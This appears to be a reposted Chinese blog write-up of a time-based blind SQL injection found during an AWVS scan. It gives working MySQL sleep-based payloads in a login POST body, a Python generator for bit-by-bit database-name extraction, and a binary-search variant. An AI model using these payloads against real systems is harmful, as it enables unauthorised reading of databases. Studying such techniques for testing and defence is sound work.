某延時注入復盤


題記

    某需要測試設備,於是我讓我同事對防護資產用AWVS進行掃描,成功跑出來一個SQL注入漏洞,payload為if(now()=sysdate().sleep(9),0)。第一次接觸這種payload,於是開始測試。

sql注入

    先百度發現有前輩搞過這種注入。

    先訪問漏洞網址。

    根據掃描器的數據構造數據包password=g00dPa%24%24w0rD&username=if(now()=sysdate()%2Csleep(6)%2C0)。如果存在注入會演示6秒響應。

    now()返回的時間是SQL語句執行的時間,無論在一次SQL語句中now()函數被執行多少次.即SQL開始執行的時間.

sysdate()返回的時間是函數執行的時間

  post數據改為password=g00dPa%24%24w0rD&username=if(now()=sysdate()%2Csleep(9)%2C0),看響應時間成功為9。

  獲取當前數據庫的庫名長度

  password=g00dPa%24%24w0rD&username=if(now()=sysdate(),sleep(length(database())),0),通過響應12秒我們知道數據庫的庫名長度為12。

    下面就可以寫個腳本挨個跑庫名了。生成注入字典payload。

for i in range(1,12+1):
    for i2 in range(1,7+1):
        print("if(now()=sysdate(),sleep(substr(bin(ascii(substr(database(),{},1))),{},1)),0)".format(i,i2))
    print("**********************************")

    然后就可以根據響應時間返回二進制010101這種,然后算出來數字對應ascii碼就行了。原理是把執行結果通過substr()函數逐個字符進行切割,然后ascii編碼成長度為2或3的阿拉伯數字,在進行bin()二進制編碼在通過函數成長度為6到7,在把二進制編碼后的字符串通過substr()函數逐個字符進行切割,通過Sleep()延遲函數執行0、1的方式向前台傳遞服務器信息。

    由於時間緊迫,當場寫腳本來不及了,在另一篇文章了解到還有一種注入姿勢。

    通過修改為password=g00dPa%24%24w0rD&username=if((ascii(substr(database(),3,1))>96),sleep(1),0)直接測試數據庫每個字符ascii值是多少,以二分法來測試,很快就測完了。通過人肉掃描器的記錄,數據庫名稱成功爆破出來。這點主要,這種語句響應時間會變成設置的2倍。比如數據庫第三個字符的ascii碼大於96,會睡眠2秒返回結果。

    用戶user()也判斷出來了,為root@localhost。

參考文章

    復盤某奇葩SQL時間延遲盲注(1):http://cloud.tencent.com/developer/article/1835865

    與SQL注入可以說的二三事:http://blog.csdn.net/crystal_shrimps/article/details/106453931

 ascii碼對照表:http://renrendoc.com/paper/117152176.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM